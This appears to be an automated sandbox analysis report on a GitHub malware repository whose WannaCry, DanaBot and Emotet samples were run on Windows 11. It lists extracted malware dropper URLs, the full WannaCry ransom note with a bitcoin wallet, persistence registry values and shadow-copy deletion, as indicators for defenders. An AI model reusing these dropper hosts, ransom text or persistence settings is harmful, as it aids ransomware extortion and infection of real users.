wannacry | hxxps://github[.]com/Da2dalus/The-MALWARE-Repo

Analysis

max time kernel
268s
max time network
268s
platform
windows11-21h2_x64
resource
win11-20250410-es
resource tags

arch:x64arch:x86image:win11-20250410-eslocale:es-esos:windows11-21h2-x64systemwindows
submitted
14/04/2025, 06:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/Da2dalus/The-MALWARE-Repo

Score

10^/10

wannacry defense_evasion discovery execution impact persistence ransomware spyware stealer worm

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://blockchainjoblist.com/wp-admin/014080/

exe.dropper

https://womenempowermentpakistan.com/wp-admin/paba5q52/

exe.dropper

https://atnimanvilla.com/wp-content/073735/

exe.dropper

https://yeuquynhnhai.com/upload/41830/

exe.dropper

https://deepikarai.com/js/4bzs6/

Extracted

Path

C:\Users\Admin\Downloads\!Please Read Me!.txt

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1 Next, please find the decrypt software on your desktop, an executable file named "!WannaDecryptor!.exe". If it does not exsit, download the software from the address below. (You may need to disable your antivirus for a while.) rar password: wcry123 Run and follow the instructions! �

Wallets

15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	428	4144	powershell.exe	120

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
Wannacry family
wannacry
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Blocklisted process makes network request 4 IoCs

flow	pid	Process
117	428	powershell.exe
118	428	powershell.exe
119	428	powershell.exe
125	428	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
77	4544	msedge.exe
77	4544	msedge.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD552D.tmp	WannaCry.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD5534.tmp	WannaCry.exe

Executes dropped EXE 8 IoCs

pid	Process
4144	DanaBot.exe
5148	WannaCry.exe
5092	WannaCry.exe
5208	!WannaDecryptor!.exe
1060	!WannaDecryptor!.exe
1824	!WannaDecryptor!.exe
2692	!WannaDecryptor!.exe
3660	!WannaDecryptor!.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft Update Task Scheduler = "\"C:\\Users\\Admin\\Downloads\\WannaCry.exe\" /r"	WannaCry.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
76	raw.githubusercontent.com
77	raw.githubusercontent.com
75	raw.githubusercontent.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4239789418-2672923313-1754393631-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\!WannaCryptor!.bmp"	!WannaDecryptor!.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5088_520708451\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5088_520708451\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5088_520708451\manifest.fingerprint	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5088_1025464426\deny_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5088_1025464426\deny_etld1_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5088_1242961749\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5088_1242961749\manifest.fingerprint	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5088_520708451\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5088_1025464426\deny_full_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5088_1025464426\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5088_1025464426\manifest.fingerprint	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5088_1242961749\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5088_520708451\LICENSE	msedge.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 2 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\DanaBot.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\WannaCry.exe:Zone.Identifier	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1200	4144	WerFault.exe	100

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WannaCry.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DanaBot.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WannaCry.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	!WannaDecryptor!.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	!WannaDecryptor!.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	!WannaDecryptor!.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	!WannaDecryptor!.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	!WannaDecryptor!.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
1828	taskkill.exe
4572	taskkill.exe
5188	taskkill.exe
1408	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133890844146846541"	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4239789418-2672923313-1754393631-1000\{EC1CC761-C1EF-43BD-8BC2-E6E15A0D6C75}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4239789418-2672923313-1754393631-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.WindowsTerminal_8wekyb3d8bbwe\StartTerminalOnLoginTask	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-4239789418-2672923313-1754393631-1000_Classes\Local Settings	msedge.exe

NTFS ADS 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Emotet.zip:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\WannaCry.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\DanaBot.exe:Zone.Identifier	msedge.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3944	WINWORD.EXE
3944	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
428	powershell.exe
428	powershell.exe
428	powershell.exe
1248	taskmgr.exe
1248	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1248	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

description	pid	Process
Token: SeDebugPrivilege	1248	taskmgr.exe
Token: SeSystemProfilePrivilege	1248	taskmgr.exe
Token: SeCreateGlobalPrivilege	1248	taskmgr.exe
Token: SeDebugPrivilege	428	powershell.exe
Token: SeDebugPrivilege	1828	taskkill.exe
Token: SeDebugPrivilege	5188	taskkill.exe
Token: SeDebugPrivilege	4572	taskkill.exe
Token: SeDebugPrivilege	1408	taskkill.exe
Token: SeIncreaseQuotaPrivilege	5944	WMIC.exe
Token: SeSecurityPrivilege	5944	WMIC.exe
Token: SeTakeOwnershipPrivilege	5944	WMIC.exe
Token: SeLoadDriverPrivilege	5944	WMIC.exe
Token: SeSystemProfilePrivilege	5944	WMIC.exe
Token: SeSystemtimePrivilege	5944	WMIC.exe
Token: SeProfSingleProcessPrivilege	5944	WMIC.exe
Token: SeIncBasePriorityPrivilege	5944	WMIC.exe
Token: SeCreatePagefilePrivilege	5944	WMIC.exe
Token: SeBackupPrivilege	5944	WMIC.exe
Token: SeRestorePrivilege	5944	WMIC.exe
Token: SeShutdownPrivilege	5944	WMIC.exe
Token: SeDebugPrivilege	5944	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5944	WMIC.exe
Token: SeRemoteShutdownPrivilege	5944	WMIC.exe
Token: SeUndockPrivilege	5944	WMIC.exe
Token: SeManageVolumePrivilege	5944	WMIC.exe
Token: 33	5944	WMIC.exe
Token: 34	5944	WMIC.exe
Token: 35	5944	WMIC.exe
Token: 36	5944	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5944	WMIC.exe
Token: SeSecurityPrivilege	5944	WMIC.exe
Token: SeTakeOwnershipPrivilege	5944	WMIC.exe
Token: SeLoadDriverPrivilege	5944	WMIC.exe
Token: SeSystemProfilePrivilege	5944	WMIC.exe
Token: SeSystemtimePrivilege	5944	WMIC.exe
Token: SeProfSingleProcessPrivilege	5944	WMIC.exe
Token: SeIncBasePriorityPrivilege	5944	WMIC.exe
Token: SeCreatePagefilePrivilege	5944	WMIC.exe
Token: SeBackupPrivilege	5944	WMIC.exe
Token: SeRestorePrivilege	5944	WMIC.exe
Token: SeShutdownPrivilege	5944	WMIC.exe
Token: SeDebugPrivilege	5944	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5944	WMIC.exe
Token: SeRemoteShutdownPrivilege	5944	WMIC.exe
Token: SeUndockPrivilege	5944	WMIC.exe
Token: SeManageVolumePrivilege	5944	WMIC.exe
Token: 33	5944	WMIC.exe
Token: 34	5944	WMIC.exe
Token: 35	5944	WMIC.exe
Token: 36	5944	WMIC.exe
Token: SeBackupPrivilege	4624	vssvc.exe
Token: SeRestorePrivilege	4624	vssvc.exe
Token: SeAuditPrivilege	4624	vssvc.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe
1248	taskmgr.exe

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE
3944	WINWORD.EXE
5208	!WannaDecryptor!.exe
5208	!WannaDecryptor!.exe
1060	!WannaDecryptor!.exe
1060	!WannaDecryptor!.exe
1824	!WannaDecryptor!.exe
1824	!WannaDecryptor!.exe
2692	!WannaDecryptor!.exe
2692	!WannaDecryptor!.exe
3660	!WannaDecryptor!.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5088 wrote to memory of 5672	5088	msedge.exe	78
PID 5088 wrote to memory of 5672	5088	msedge.exe	78
PID 5088 wrote to memory of 4544	5088	msedge.exe	79
PID 5088 wrote to memory of 4544	5088	msedge.exe	79
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 3012	5088	msedge.exe	80
PID 5088 wrote to memory of 5400	5088	msedge.exe	81
PID 5088 wrote to memory of 5400	5088	msedge.exe	81
PID 5088 wrote to memory of 5400	5088	msedge.exe	81
PID 5088 wrote to memory of 5400	5088	msedge.exe	81
PID 5088 wrote to memory of 5400	5088	msedge.exe	81
PID 5088 wrote to memory of 5400	5088	msedge.exe	81
PID 5088 wrote to memory of 5400	5088	msedge.exe	81
PID 5088 wrote to memory of 5400	5088	msedge.exe	81
PID 5088 wrote to memory of 5400	5088	msedge.exe	81

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/Da2dalus/The-MALWARE-Repo
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x338,0x7ffed902f208,0x7ffed902f214,0x7ffed902f220
  2⤵
  PID:5672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1892,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:11
  2⤵
  - Downloads MZ/PE file
  PID:4544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2276,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:2
  2⤵
  PID:3012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2332,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:13
  2⤵
  PID:5400
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3428,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:1
  2⤵
  PID:5080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3436,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:1
  2⤵
  PID:4404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=es --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4928,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=4892 /prefetch:14
  2⤵
  PID:5832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=es --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4836,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:14
  2⤵
  PID:5648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=es --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4668,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:14
  2⤵
  PID:3276
